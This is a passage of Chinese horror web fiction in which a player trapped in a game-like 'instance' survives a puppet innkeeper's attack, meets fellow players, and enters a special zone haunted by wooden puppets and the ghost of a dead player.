“……睡了。”
?!
他能知道里面的情况?!
第四个房间,是扈神合的。接下来……
心跳声如擂鼓般响在耳边,几乎要把近在咫尺的脚步声掩盖过去!
它……就在门外。
冷静。魏迟观闭眼。深呼吸。现在必须把所有恐慌和杂念压下去。
想一想。什么时候会有危险?
违反它们规则的时候。
现在,为什么外面的东西会过来?它的规则又是什么?要怎么做才能避免违规?
度秒如年的这一刻,门被大力拍响了!
嘭、嘭、嘭!
她和殷至浊对视一瞬后,两人悄无声息地后退。殷至清拔出刀,守在门后。
殷至浊高声问:“什么事?”
“我来……问问客人的情况……”伴随着粗重的喘息声,它断断续续地说,“你们……在里面……这么多人。这么多人……”渐渐的,声音越来越尖锐变形,高亢起来,“这么多人!怎么都躲在里面不点灯、不说话!”
接着,就是一声沉重的拍打。
“你们,是在密谋吗?”
随着这一句吼叫,木门被从外向内推动,开始挤压变形,它的一只血色眼睛从门缝里透了进来!像玻璃球一样在眼眶里迅速滚动着,几乎想要脱离眼眶,扒进里面的人的肉里!
“只是闲聊罢了。”殷至浊语气平稳地回应,“偶遇旧识,一起谈谈往事。”
“只是闲聊啊……”听到这话,它似乎冷静了下来,慢慢往回退去。
三人悬着的心刚要放下,就听见它的声音再次响起。
“不……不对!她的衣服不对!她是谁?她是谁!”它开始疯狂撞门,“这不是我的客人!”
随着脆弱的门锁即将从门框上脱落的那一刻,它彻底闯了进来!
电光火石之间,魏迟观看到了它头上的标签:【旅店老板顾忠】。它来查房,又担心他们在密谋……所以,可能是因为刚刚走廊上聚集了太多人,让它们察觉到了威胁,所以刻意过来将他们分开?
……殷氏兄弟可能也是因为想到了这一点,所以才让六个人分成了两批!
但想到这一点于事无补,现状已然不可改变。
顾忠一身长衫,一条好腿,另一条坏腿则只有上半截,剩下的从膝盖开始都是木头。皱巴巴的脸皮贴在骨头上,松垮得几乎要耷拉在脖子上。眉尾下垂,既怨又怒。它一瘸一拐,力大无穷,踉跄着直往魏迟观冲去!
她随手抓起身旁的凳子就扔了过去,却被顾忠轻松接住,随手一砸,凳子立即四分五裂、碎块乱溅。
怎么办?往哪逃?
顾忠说衣服不对,说明她应该和他们一样穿上戏服。可她的衣服会在哪?总不可能是原地手搓吧!
……也许,就在她自己的房间里?
所有房间的布局一致。魏迟观从殷至浊身后绕过,逃向门对面的窗户。分秒之间,她推开窗,但顾忠已然来到了她身后。
刹那间,寒光一闪!被顾忠彻底忽视、落在身后的殷至清出刀了。
只听得刺啦一声,伴随着指甲摩擦墙面般的挠人碎响,刀拦腰划过,却只切断了他后背的衣服,刀刃死死卡进了他的身体里。切破的皮肤没有流血,而是越来越皱,如烧红的黄纸边缘一般将自己向两侧卷了起来,露出硬实的木身。
顾忠立刻痛得嚎叫了起来!他的声音粗糙得就像锯齿一般,几乎要通过声音将人耳割伤。而后反身撞向了殷至清。
顾不及后面战况,魏迟观刚想趁机从窗跳出,却被殷至浊一把抓住!
被附身?还是想送她去死?
不等她开口质问,殷至浊已经贴到身边。他睁开眼,一只眼睛彻底雪白,而另一只眼睛连眼白都变得漆黑。
身后,殷至清已经将刀重新拔出。金属和木头一次又一次地碰撞,声音节奏紧锣密鼓,一次比一次更激烈!
“长话短说!”殷至浊低声道,“你现在正穿着香客的衣服!”
什么?什么意思?
哐镗一声巨响,殷至清砍下了顾忠的一只手!但随
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之而来,那只断手掉落到地上又反弹到空中,蹿入他执刀的手腕死死咬住。他一时挣脱不开,闪避开顾忠的又一次冲撞,将刀换到了左手上。
“快。”殷至浊催促,“闭上眼睛想!想你的身份,想你的定位。你现在就是善喜寺的香客,现在你会穿什么?!”
寺院香客。什么人会去寺院烧香?
有宗教信仰的人,悔过后怕的人,有愿望却无法实现的人,对自己人生绝望的人,将未来寄托给命运上天的人。
一个群众演员,只有一个身份标签,什么样的衣服才符合她的身份?
她必须要靠自己来塑造角色!
左手用刀让殷至清十分别扭。他尝试使用了几次巧劲,却只让顾忠多了几道轻微的砍伤痕迹。但随着受伤次数变多,顾忠的蛮劲却越来越强,到处乱撞,甚至将墙都砸出了一个浅浅的圆坑。就在顾忠再一次向殷至清冲去时,他远远后退到一个尽量远的角落,而后静止不动。顾忠撞停后再次蓄势,他却反而垂眼将刀刃轻微破开自己的肌肤,沾上一丝血,接着,将刀入鞘、负在身后。
一个还愿的女人。家境尚可但不被宠爱,曾前往善喜寺祈福,而后愿望达成,再次入寺上香。所以她的衣服应该材质不错,浅色,但却半新不旧,打理得一般。有两三样装点门面的首饰,但也只有那几样值钱。
重新睁开眼时,魏迟观发现,身上的衣服已经换成了她想象中还愿香客的衣服!
一旁的殷至浊来不及松口气,立刻开口吸引顾忠的注意:“老板!哪有人衣服不对?这里不都是你的客人吗?”
哒、哒。顾忠刹住车,迟钝转过身。一边脸挑高,组合成奇特的诧异表情。他的喉咙已经嘶哑了,只用气声道:“过来,让我……看……”
刹那间,银光如月霜乍泄,杀气如寒气般凛冽。先有虚意,而后才是刀刃的破空声!一刀斜斜划下,竟将他的身体砍掉了一半。
受了重伤,它连着脑子的那大半边身子喘着粗气。地上的半边胳膊和另一只断手,蹦跶了几下,最后摔在地上,发黑发焦,彻底失去了活力。
看清了魏迟观身上的衣着,它的眼里闪过疑惑,张了张嘴,还是选择了退缩。之前那条好腿也受了伤,它便靠着那条木腿收缩、膨胀,蹦跶着跳出了门。
暂时安全了。
魏迟观吐出一口气,背靠墙壁慢慢下滑,坐在地上调整呼吸。她用衣袖擦拭手心的汗,却发现身上的衣服不知什么时候又换回了她自己的。而一旁殷至浊的眼睛也恢复了原状。
她刚要开口询问,殷至浊就抢了拍。
“职业技能。”他哀叹,“唉,这下可亏大了。”
没了门,这间房也差不多毁了。今晚,他只能搬到殷至清的房间挤一挤。
“先说清楚,”他一边收拾自己的东西,一边说,“这可不是免费的。救了你,你得给我五千积分。”
“……五千?”还没来得及发表劫后余生的感慨,魏迟观就再一次陷入震撼。她现在连一分都没有!
“知道你没钱。”殷至浊尝试扯了几次嘴角,却连假笑也笑不出了,“先欠着。可以分期付款,每周一次,但不超过十次。要是还不了……可别怪我拿你别的东西来抵。唉……也不知道你能不能活这么久。”
“……”她忽然觉得也没那么累了。爬了起来,尝试性问道,“……要不,四千?”
“不可能!一分都不能少!”殷至浊威胁道,“不然下一次,我连买命的机会都不给你。”
魏迟观:“……”人为刀俎,我为鱼肉啊。
此时,外面的顾忠并没有彻底离开。它一连跳过了好几个房间,才停在一扇门前。
“逃账……”它一边念叨,一边用头锤向大门。连通周围的墙壁也跟随震颤起来,直到将门破开。
咯吱咯吱咯吱。一阵又一阵令人牙酸的咀嚼声从那间房里接连不断地传了出来。良久之后,那蹦跶的脚步声才消失在黑夜里。
等彻底没了动静,三人通过系统加上了好友,才从门中走出。
在她离开的前一刻,殷至浊叫住她:“作为那五千积分的赠品,我再送你点信息吧。”
同样的走廊,同样的夜雨。明明没有过太久,却仿佛恍如隔世。魏迟观停住,洗耳恭听。直到她睡着之前,其中有三句提示一直在她的脑海中不断重复:
“第一,天黑之后,尽量不要在外面活动。
“第二,不要让NPC发现你扮演的角色不符合身份。
“第三……如果更想保命而不是追求评分,就尽量减少自己的存在感,离NPC远一点。”
5. 章思
一觉醒来,天已彻亮。夜里,她所在的房间没有更多的事发生。在城外时,魏迟观时常失眠,没想到经历了玄幻刺激的一个下午,反而好好睡了一晚。
系统面板上,还有一条昨晚她还没来得及仔细看的消息。
【系统:恭喜您!获得称号“画皮(残缺)”。已自动为您佩戴,效果:身着戏服时,略微降低鬼怪对违和感的敏感度。】
她揉了揉酸痛的胳膊,看见系统里殷至浊在半个小时前给她的留言:大家上午都会来大堂。记得过来认一认其他人。
她回复“好”,并附上了一个“谢谢老板”表情包。顺手打开他和殷至清的个人界面,可以看见简略信息:
【好友信息*
姓名:殷至浊
性别:男性
职业:说客
称号:(已隐藏)】
【好友信息*
姓名:殷至清
性别:男性
职业:武者
称号:(已隐藏)】
昨天殷至浊提到的职业技能,想必就是“说客”的技能。可见的内容不多,她扫了一眼就关上了界面。
房内,原本的空地处,一台展开的木衣架无声竖立。衣架上挂着的,正是昨晚她想象出的香客戏服,只是更完整。不远处的梳妆台前,更有一个包袱。打开来看,里面只有一套换洗衣物、几样首饰、一些银钱。
和昨晚被殷至浊由技能变出的服装不同,现在的这些,是不会消失的实体。
吃完药、换上角色服装,对着梳妆镜,让她有一瞬的晃神。
如果说无中生有是副本本身拥有的能力,但为什么会和她的想法一致?是庄周梦蝶……还是蝶梦庄周?想了一会没有头绪,她将问题发给了殷至浊。没收到回复,她便将自带的包塞进了包袱里,又放回昨天的位置。接着,前往大堂。
大堂里果然聚集了很多人。
魏迟观坐进角落一桌,点了油条鸡蛋豆浆,打量着内部环境。内外两扇敞开的大门;三面环窗,半合半开。桌椅整齐,空气明净。几个伙计手脚麻利地干着活,好像什么也不曾发生。
隔壁一桌的乔净香坐了过来。她的头衔也更新为了“群众演员·善喜寺香客”,口罩变成了面纱。
“昨晚,你们那边,发生了什么吗?”她环顾四周,压低声音,小心翼翼地问,“好大的动静呀。我们等了好久才敢出来。”
“老板查房,打起来了。”魏迟观总结道,“被殷至清打伤之后就走了。”
“他们真强……”她不敢四处乱看,扣着手指,既羡慕又恐惧,“我一晚上没睡着。早上陆弦哥的房间已经没了,他……他肯定已经死了吧。”
还不等魏迟观开口安慰,乔净香忽然噤声。附近,一个身影正缓缓靠近。
【旅店伙计赵甲】。
它揣着讨好的笑,咧着嘴,将餐盘端上了桌:“客人……”
随着碗筷落在桌面上,一声脆响,乔净香微微一颤。
“您,”它盯向乔净香,“想吃点什么?”
这时候……应该说什么?不,我不想要?还是,还是,一定要点一些?这个问题背后会不会隐藏着什么规则?可是……可是……完全看不出规律啊……
一时之间,无数个问题如乱麻一般在乔净香的脑子里打结,反而让她一句话也说不出:“我……”
“上齐了就走吧。”魏迟观不明所以地看着眼前的场景。端起豆浆,看了看又嗅了嗅,尝了一口。
赵甲竟然也只应了一声,就顺势离开了。
“昨天……”乔净香看着赵甲消失在后门,舒了一口气,又望回看着面前的东西,欲言又止,“它们的东西……”
魏迟观将嘴里的鸡蛋嚼碎吞完,才有时间开口说话:“所以我没点包子。”又问,“吃了吗?也来点?”
乔净香的眼睛里满是迷茫。难道是她的反应太过了?
”不、不用了……”她说,“我在房间里吃过了……”她陷入了反思。是啊。好像,只要不点肉菜,也不一定就不能吃?
除了魏迟观昨天见过的六个玩家,剩余还有四个。
她尽量降低存在感,藏在不被注意的阴影里,隐蔽观察着。
【配角·段家小少爷·段瑢】。坐在主位,锦衣华服、形容秀丽,连腰间佩的宝剑都镶金嵌玉。殷至清作为“段家护卫”守在他身后。同桌还有四人:殷至浊,扈神合,【跟组演员·赶考书生·蒋懿】,和一个NPC——【屠户章思】。
另外两个玩家坐在一桌:【群众演员·回乡人·吴月红】,【群众演员·回乡人·兰焰】。
和乔净香通过系统加上了好友,她顺便也看到了殷至浊的回复:三百积分。友情半折价(鲜花)。
这么贵?!
魏迟观:(抱拳)(抱拳)打扰了。
奸商。不如去抢。
她转头询问乔净香:“你了解其他人的情况吗?”
乔净香犹豫了会,轻声道:“吴月红和兰焰也都是第一次参加副本,他们比我们早来了两三天。其他人都算是老手。里面……我只知道段公子之前通关过五场副本。”说到这,她似乎有些羞涩,“他……他是个温柔的人。”
“你了解他?”
“不。”乔净香摇头,“只是昨天和他聊过几句。”
再交换了一些对于副本情况的了解,魏迟观便离开了大堂。
一部戏里,不仅玩家们有角色等级之分,NPC肯定也会有。而现在重要的NPC也显而易见:章思。只有他被那些“配角”玩家们包围着。但是一个屠户,为什么会成为主要角色?他身上有什么特别的地方?
魏迟观回忆她方才看到的章思情况:脸颊偏方,骨骼分明,嗓门大。身材高大,无袖短衫,露出古铜色的肌肉。腰间挂着一把杀猪刀,刀面上少许红褐锈迹,刀刃磨得极其光亮。
章思说话时,面向段瑢、微微低身,但脚尖的朝向却背离。上半部肢体大开大合,桌下的膝盖却颇为克制。分明是早晨,却已经开始喝酒吃肉,脸颊泛红。语言用词粗鲁、表情夸张,发型与胡须却打理得非常整洁。和段瑢交谈期间,似乎曾有不快,藏在桌下的左手捏紧又很快松开,而后面上挂上笑容,继续和段瑢称兄道弟。
她将自己的观察组合起来。这应该是一个有酗酒倾向的人,能赚钱但更能花钱。表里不一,粗中有细。对段瑢有所求,所以甘于暂居低位选择忍耐。
就在魏迟观于无人处来回走动思索之时,一个人匆匆出门路过,险些撞上。
什么人?!
她谨慎望去。
来人身材高挑健壮,目测已经超过一米八,平视时只能望见肩膀——是同为新人玩家的兰焰。她眼神冷冽,气质凛然,后背负着一把黑缨长枪。低头看见魏迟观,绷紧的面部微微放松:“
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你好。”
魏迟观好奇:“这是打算去哪?”
兰焰沉吟片刻,说:“你在刚好。昨天,有位玩家的死,你是不是了解情况?”
魏迟观先是点头,转而诧异:“你想去调查他的死亡原因?”
“是。”兰焰说,“早上知道这件事后,我就打算去他可能的消失地点看一看。”
好大胆的人。
不,也许是出于一种对能力的自信?
“有个地方,我可以带你去。也许能发现点什么。”魏迟观若有所思道,“不过……没有十足的把握,还是尽量不要太靠近。”
随着兰焰的点头,二人也加上了好友。
魏迟观随手打开她的信息看了眼,而后目光一凝。
【好友信息*
姓名:兰焰
性别:女性
职业:武者
称号:一往无前、不动如山】
如果乔净香说的没错,这应该就是兰焰参加的第一个副本。仅仅两三天时间,就足够让她拥有两个称号、一个职业?
依照魏迟观自身的经历,称号可以在副本中触发某些成就后获取。但对于职业,依然一无所知。
“昨天晚上,你那里也发生了什么事情吗?”一边走,魏迟观一边问。不面临险境,恐怕很难获得称号。安全期里应该没什么机会,大约是从昨天下午的危险期开始后才获取的。
“你知道了?”兰焰说,“也没什么。昨晚,那个饰演书生的玩家蒋懿,和章思发生了口角矛盾。章思动了手,被我拦下了。”
“厉害。”魏迟观惊叹,“不过今天,他们相处得好像还不错啊。”
“那个蒋懿……”兰焰话止,“算了,也许只是我想错了。”
兰焰的话很少,魏迟观也并不是擅长闲谈的人。一段话结束,两人便只是一前一后地沉默前进。
魏迟观一边带路,一边便抽空根据获得的信息梳理主线。
殷氏兄弟和段瑢是最早进副本的,经历的第一个场景叫做“垂纶码头”。章思就在码头卖货,他们因此相遇,得知那些货物是他上山打猎时,从一座破败的寺庙里发现的。但那座寺庙十分危险,其他很多宝物能看却带不出。相谈甚欢后,约定由章思带他们上去取货,到手的平分。
“那座寺庙,危险在哪?”昨夜,混乱过后,魏迟观问。
停顿良久,殷至浊才缓缓说道:“山寺有灵,亦神亦鬼。”
“NPC也是鬼怪,和山寺里的,难道不一样?”
“在我们眼里,NPC是鬼怪;在NPC自己眼里,它们仍然认为自己是人。”殷至浊神情凝重,“但山寺里还有被NPC认为亦神亦鬼的东西。这意味着,如果那东西真的存在,将要比普通NPC危险至少十倍以上。”
副本名,《佛碑血》。她当前的身份,善喜寺香客。
三者之间隐隐的联系让她觉得不安,却又无法琢磨出关联。
下一刻,魏迟观忽然停住脚步。
雨后泥路难走,总容易留下一个又一个的坑。而所有的脚印全都停止在了她眼前半米处。
凉风拂过,草叶相击,摩挲声钻进人的耳朵里,像是被投入石子的湖面涟漪,一圈又一圈,越传越远、接连不断。
扩张、扩张、扩张。
那种……让人不安的、仿佛在被什么诡异的东西注视着的感觉,再一次出现了。
6. 特殊区域
“这里。”魏迟观蹲下身,指向前方,“你看。”
眼前是一小片草地,湿淋淋的,中间稀疏低矮;地面上没有脚印,只有众多细小的深坑,像一只只收缩的瞳孔。接着是山林,高耸、深棕碧、阴翳重叠,张牙舞爪、鬼气森森。
兰焰直直向里望去。
“还有……风。”
它的中央寂静,直到散至她们身边,声音才重新出现。
“里面,简直像是真空的。”魏迟观谨慎说着,忍住那种被无数双眼睛窥视的异样感,起身缓缓后退几步,抱紧胳膊。
兰焰与她错身而过,走到无形的“线”面前:“你认为,陆弦是怎么死的?”
手指,戒指,禁区。
魏迟观摇头。
可见的异常太少了,恐怕这也是陆弦误入陷阱的原因。
“外面没什么东西,”兰焰得出结论,向前迈了半步,“得进去。”
“不行。”魏迟观断然拒绝,“风险不可控。”
天色渐渐昏暗下来,乌云螺旋般抽丝盘踞,空气中仿佛飘浮起灰色细颗粒。
兰焰沉默,停止不动。
“怎么了?发现什么不对劲了吗?”魏迟观问。
呲——呲——
前方,兰焰头上的标签跳跃闪烁,如接触不良一般:“你、来看看吧。”
声音……好怪。
魏迟观再次向后撤步。
……怎么回事?自己头上的标签却没有问题。
周围的环境,也还是刚刚……不对!
究竟是什么时候……
里面的风声出现,而外面的风声却消失了!
一滴雨落下。此时,兰焰正向后一格一格地转动着脖子,僵硬地好像关节生锈了一般。标签逐渐变得乱码,而后消失:“既然来了……”
紧接着,天上银龙一闪,雷声滚滚而至。
魏迟观回身就逃。
暴雨倾盆,狂风大作。林中树木摇曳,无数飞叶如天女散花般被风扯落。随之夹杂在风中的,还有那嘈嘈切切的声响——老人、孩子、男人、女人……无数人幽怨的哭声,和无法分辨的呓语。
她在雨中奔跑,急促呼吸,顷刻浑身湿透。天色越来越暗,仿佛周围一直在被侵蚀。
身后没有脚步声……而围墙近在眼前。快了!逃出这片区域!
旅店的围墙大约有一人半高。魏迟观向上跳了一次,却还差十公分左右。够不到……她左右环顾。往门的方向跑大约还要三分钟。可是以她现在的体力……
她卯足劲又跳了一次。还是不够。
说起来……如果真的那么容易逃跑,已经参加过两三场副本的陆弦,会就这样死了吗?还有,周围好像没有其他人的声音了……兰焰去哪了?还在附近吗?
想到这,魏迟观忍不住回头望一眼。
一张微笑的白脸,正贴在她身后!
它木制做底,满脸白色油彩,眼睛处细长黑线,一张弯刀微笑红唇。它说话,嘴却一动不动,仿佛被胶粘死了一样:“客官,进来坐坐吧。”
头顶标签:【旅店伙计张吉】。
魏迟观只觉得浑身的热度都随着雨水淌落而散失。胸膛中,心脏吃力地泵着血液;耳朵如闭合了一般响起轰鸣声——这个东西,和她先前见过的普通人的样貌截然不同。
现在,它并不是站在她身后用脸正对着她;而是深深弯下腰,又以诡异的折叠形态抬起脑袋,整张脸贴在她原本的后脑勺位置!
它身高约三米左右,裤脚下伸出的不再是两条腿,而是两根又细又长的木棍,扎在泥土中。它的声音从腹部发出,像虫子聚集在空洞里的嗡鸣声,粗糙又重叠:“下雨了,进来坐,咱们给您泡壶热茶。”
魏迟观掉头向门跑去。但还没跑两步,张吉便轻轻向上一弹,跃然而过,落到她眼前。
魏迟观只好停住脚步。
该死,哪怕当时在厨房带走把菜刀备在身上,都不会像现在这样被动。这种地方果然危机四伏,不能没有武器。可惜现在多后悔也无益。
她仰起头,和张吉对视,斟酌开口:“我先在外面待一会,迟点再进去。”
与此同时,她向列表里的所有好友发送信息。
【魏迟观:你那里情况如何?SOS】
然而,几乎所有消息的前面都是红色感叹号。点开一看,只见说明提示:
【系统:您当前处于特殊区域内,无法与非同一区域的好友联系。】
还有这种区域……
但,依然还是有一条消息成功发送了——兰焰。
另一边。
兰焰在说完“得进入”之后,天色忽然黑了下来。身后魏迟观一言不发,她回头望去,却只见魏迟观的虚影,头上的标签已被抹去。
看来,已经进来了。
事已至此,她看向山林深处,再次向前踏了一步。
一线之差,异象环生!风意狂然,嘈杂近乎众畜哀鸣。上部纤细的树干疯狂摇曳,抖落无数叶片,向兰焰冲击而去,蒙向她的脸。她旋转长枪带起风声阵阵,黑缨飘荡,将群叶抵挡在外,震开满地。
视线遮挡处,一个人影弹跳而至。它如巨型弹丸一般,以地面作弦,轰然冲出,与积竹木柲长杆撞击在一起。
嘭!
兰焰屈膝低身,双手持杆,任由长枪弯曲,牢牢停在原地不动。对面的人影偷袭不成,后退一步,头上的名字显现:【旅店伙计孙明】。
它的木制头瘦长椭圆,两颗黑石头深嵌在眼睛位置,又圆又鼓;脖子是木制关节;身上还穿着那套伙计的衣服,露出的双手变成了木手,露出的双脚则变成了长长的细杆,凿入泥土之中。
总在这条路上活动的,就是这些东西!
而除了木身之外……兰焰的目光停留在另一个关键点上:它的关节处各自都连有一条细线,线凌空而去,最后汇入了深林中。
木制傀儡。
趁它后退,兰焰一枪前刺,直顶它胸膛。一寸长,一寸强。
令人呲牙咧嘴的钻入声响起,孙明连退数步。但等移开枪头,却只留下一个浅坑。好硬的木头……
不等孙明反应过来,她的长枪便挑向它关节处的丝线。线被向右远远撑开,但她的枪头却仿佛在拨开一道蛛丝,几乎没有受力。
不对!
兰焰迅速向后退去,孙明的木棍腿紧随而至,正插入她先前所站立的位置。但还没等她停下,另一只傀儡已经荡到她的身后,正对着她的脊梁狠狠一跺!即便兰
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焰及时回撤,后背却依然感觉到了一股重力,逼得她不得不拄枪前倾才能站稳。
环顾四周,傀儡已经变成了两个。它们都是【旅店】的人。
收到魏迟观的消息,她即刻回复。
【兰焰:已进入。与二木傀儡对峙。】
【魏迟观:我附近也有一个傀儡。看来我们在同一个区域,但不知是被什么被给隔开了。】
初见面时,兰焰就曾打量过魏迟观。看起来并没有什么战斗力,独自面对恐怕凶多吉少。
【兰焰:尝试周旋,尽量找地方躲藏,不要正面对抗。我找到过来的方法就来帮你。】
可现在,哪里还有躲藏的机会!
雨中,张吉的笑脸依旧。它同样也是木制,关节处莹莹细线若隐若现。它回应道:“既然如此,我在这里等着客官。”
接着,便一动不动,杵在原地。
【魏迟观:你和傀儡有聊些什么吗?它们有什么反应?】
【兰焰:没有交流。一遇到就打了起来。】
【兰焰:我正在拆解它们的动作规律。它们的对抗智力较低,有一定重复性。】
【魏迟观:我这里的傀儡还没发动攻击,但却一直在邀请我进到什么地方。】
什么地方?
将消息发送完,魏迟观只觉得有一种想法从脑中一闪而过。
为什么她会和兰焰隔开,为什么她这里的和兰焰那里的木制傀儡,会有这样的差别?
她们的区别是什么?
还有一点,为什么昨天她站在同样的位置没出事,今天却有了变化?
变量究竟是什么?想清楚这点,她也许就能找到关键!
滂沱雨水将她的头发彻底浇散。魏迟观撩起紧贴脸颊的碎发,抹了一把脸,视线穿透模糊的雨流,向里看去。
对了。那条……无形的“分界线”。
恍惚间,仿佛正有一个人站在那里,迷雾一般。他的背影萧条,像阴影。转过身,嘴巴一张一合,脸庞模糊,好像正在说些什么。
魏迟观睁大眼,拼命想要看清。
他……他是……
她一边看着眼前的场景,一边思绪转动。兰焰触动了分割线,“惊动”了这里的东西。于是,新的区域形成,它们都跑了出来。
兰焰在线上甚至线内,于是它们可以直接动手;而她自己实际上仍在线外,让它们被什么“限制”住了,只能通过引诱的方式,让她进入线内。并且,她们所处的位置不完全相同,也让她们被分隔进了两个隔离的场景中。
不过,这也仅仅只是一种推测。
如果想要证明这种想法……
【魏迟观:你现在所在的位置,是“线外面”还是“线里面”?】
【兰焰:里面。】
【魏迟观:我还在外面。能出来吗?】
兰焰环顾四周。最初的一只傀儡已经断了一条手臂,被她踩在脚下,正在拼命扑腾挣扎,如鱼一般晃头摆尾。
面前,傀儡已新增为三个。
旅店伙计、厨师:杜阳,高盛,黄平。
此刻,魏迟观也终于看清了那人头顶的标签。正是已经死去的【群众演员·旅商·陆弦】!
【兰焰:等我一试。】
7.进入危险区
那,真的还是陆弦吗?
他又正在说什么?
雨水冰凉刺骨,魏迟观缩成一团,躲在墙边,忍不住低声咳嗽。
这里是“特殊区域”。如果她猜得没错,即便她真的翻墙成功了,也回不到原来的地方。
现在,她有两个必须要做的事情。一是和兰焰汇合,二是找到方法活着离开。
第二件事毫无思路,而第一件事……
魏迟观看向兰焰最后的留言。
【兰焰:出不来。越靠近“线外”,反而离“界限”越远。】
【兰焰:越来越深,来时的路已经看不见了。】
【兰焰:很奇怪。我没有再往某个方向走,却好像一直在往里进。】
【兰焰:辨别不清方法。周围都是树,长得差不多。】
【兰焰:傀儡新增到四个。它们展示过三种攻击技能:高弹,木腿重压踩踏;横扫;头或拳头捶打。】
间隔了约两分钟。
【兰焰:我知道了。】
【兰焰:不要赢过它们!】
【兰焰:如果有】
消息戛然而止。
不知什么时候,张吉,又近了两步。
不,不是张吉走近了。而是……外面的范围在收缩?围墙离“界限”,也近了两步。
不远处的陆弦也更清晰了。他的嘴越动越快,也越张越大,两只手一直激动地往前伸,五指张开,像是要眼前的东西都抓住,再吞下去一样。
不能坐以待毙。哪怕接下去的行为风险极大,她也必须去做。否则,一直等下去,只会死路一条。
她走向了陆弦。他一直在线上无法走动,也许是诱饵、也许是限制。
魏迟观一步一步地向他那里走去:“陆弦,是你吗?”
他似乎在嘶吼,但声音却如他的身影一样浅淡隐约,无法分辨。
他徒劳地挣扎着,却始终无法越过,被困在原地,颓唐跪下。身侧,又有三条人影浮现:【过路人唐越】,【过路人刘琴】,【过路人杜巳远】。
它们一起开口说话。这次,终于让她听清了内容:
“旧道莫行,野店勿宿。食财伥鬼笑,随雨夜羊哭。哭、哭、哭,弃我骨!”
身后,一只手臂,搭上了她的肩膀。
它折叠着上半身,将脸凑到她耳朵旁,嘴部暗红如血,腥气隐隐。它将魏迟观往里推,几乎要推倒在地:“入店吧,入店吧。看。”
它抬起没有关节、无法弯折的木手:“看,那里都是我们的客人。”
人影幢幢,有些甚至重叠在了一起。
陆弦满脸哭相,却流不出眼泪。他身侧的人影越来越多,站的、跪的、坐的,男女老少,像是把原本远处的呓语拉到了眼前,都在念:“哭、哭、哭!弃我骨!”
近在咫尺,她终于听到了陆弦唯一不同的声音:“哭……救救我……救救我……我要……要被它们同化了!同化……哭……同……”
……无处可逃。
现在究竟该怎么办?难道真的是死局?!
不,再想一想。
傀儡,伙计,死亡的陆弦,众多过路死者……不能被傀儡抓住或者杀死,但兰焰又说不能赢过它们。
还有,之前所认为的关键点——界限。
千头万绪。关键究竟藏在哪里?
魏迟观忽然一停。
【系统:恭喜您!称号“微弱的第六感”升级为“灵敏的第六感”。直觉值+5。】
原来如此!
这块区域,这些场景和NPC,果然都是有用的。而想要离开,恐怕也只有“通关”。
想到这,她不再犹豫,走到众多的人影面前,仿佛处于群魂之中。接着,一步跨入。
*
大堂。
乔净香坐立不安地一个人躲在角落。她和方心量等人角色不同,坐在一起太久未免奇怪,只好分开。伙计进进出出,每次路过都要把她吓一跳。
魏迟观怎么还不回来?
【乔净香:迟观,你去哪啦?还回来吗?】
【乔净香:大堂,好像有点奇怪。】
【乔净香:伙计陆陆续续少了好几个。现在只剩一个,已经忙不过来了。】
她等了一会。消息发送了过去,却始终没有回应。
应该……还活着吧。
*
一踏入“线”内,身后的哭号和虚影都骤然消失,雨也停了下来。草地,山林,寂静无声。
地上落叶堆叠,似乎有对抗的痕迹。但举目四望,看不见兰焰,也没有别的傀儡。
魏迟观一边拧干袖子衣摆的水,一边循着地上的痕迹往深处走。系统标定的时间还没到中午,天色却已然深黑。
倏然间,身后破空声传来。魏迟观回头看了一眼,便急忙向侧边避让。
张吉也跟着进来了!
它高高弹起,木腿如长锥一般,猛然冲刺向她的脊椎。
“嘶……”
【系统:生命值-1。当前9/10。】
魏迟观佝起身子捂住左腰。尽管她尽力躲开,仍没有完全成功。其中一根木腿狠狠擦过她的侧腰。
她的指尖穿透几层衣物,扣入肉中。这一下,至少掉了一层皮。
但还不等她调整状态,张吉再次高高弹起。这一次,它的高度几乎超过了它本体的长度,悬停三秒,旋即下跺,瞄准了颅顶!
来不及思考,魏迟观向前踉跄一步,勉强避让开。
傀儡的木腿直直下落插入土中,与她擦身而过,紧接着,木手和木肘就锤上了她的肩膀。
咚!
【系统:生命值-1。当前8/10。】
右肩膀几乎麻痹,人也跪倒下去。来不及分辨受伤状况,她咬着牙转身,尽可能降低高度,从后死死抱住傀儡的两条长木腿的底部。
在之前的对峙中,她发现了傀儡可能具有的两个弱点。第一点,尽管腿长接近两米,但臂展却依然是普通人的长度;关节相当灵活,却依然逃不开人体的基本构造。即:后背和底部将会是它的行动盲区!第二点,木腿纤细,上半身完整,必然头重脚轻。
出乎意料的是,尽管这具傀儡两次击打魏迟观都十分沉重,但它本身的重量却偏轻,都是靠加速度堆叠出的力度。
张吉的腿不断挣扎,腰后仰弯成弧形,两只手胡乱挥舞,想要把魏迟观从它
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身边拽开。
她现在没有武器,仅靠□□,想伤到它无异痴人说梦。但……
魏迟观的左手攥住它的右脚踝,左胳膊将它另一边的木腿圈住,而后一寸一寸、一寸一寸地往下压去。等到它的腿埋没大半,便起身依靠自身重量,将它往前斜压,尽可能地让它难以逃脱。
这么做的目的只有一个——争取时间!
按照兰焰所说,不能赢它;但又不能真的一直被动挨打。那么选择只有一个,就是……躲起来。给自己争取更多的时间,离这些傀儡越远越好!
【系统:恭喜您!获得称号“弱者的武器”,攻击值+1。】
魏迟观冲进林中,钻入灌木丛,伏低身体,降低自己发出的声音,缓缓远离。
开始还能听见傀儡的挣扎声、弹跳声,而后声音越来越弱,最后重回宁静。没有星辰、没有月亮,天空只有灰蒙蒙一片,好像随时都可能下雨。还有无边的沉寂。
她不断在灌木丛中穿梭,直到感觉短暂摆脱了傀儡,才松口气,停下休息。
右胳膊肩关节的麻痹消退,随之而来的是局部的肿胀和疼痛。难以举起更难以用力。左侧腰间的伤和皮肤黏在了一起,揭开衣料时,仿佛皮肤又被剥离了一次。鲜血再次渗出,如同无数个细小的神经末梢被同时撕断。
她紧皱眉头,尽可能让伤口远离布料。现在没有任何消毒工具,更没有能包扎或治疗的物件。
以后如果有机会,还得多带一些药品。魏迟观叹口气。现在只能先晾着,希望能在伤口被感染或者恶化前出去。
【系统:生命值-0.1。当前7.9/10。】
还有,兰焰现在的情况……
魏迟观看向再也没有回复过消息的对话。
一路过来,除了最初的草地位置,她再也没有发现兰焰的痕迹。不过这总算印证了她的猜测:她们两个就在同一片区域内,之所以之前互相没看见,是被“线”形成的规则阻隔了。只要穿过“线”,隔膜就会消失。
想了想,魏迟观还是把自己其余的发现发了过去。如果她还活着,只是被什么事情绊住了,也许还能对她有帮助。
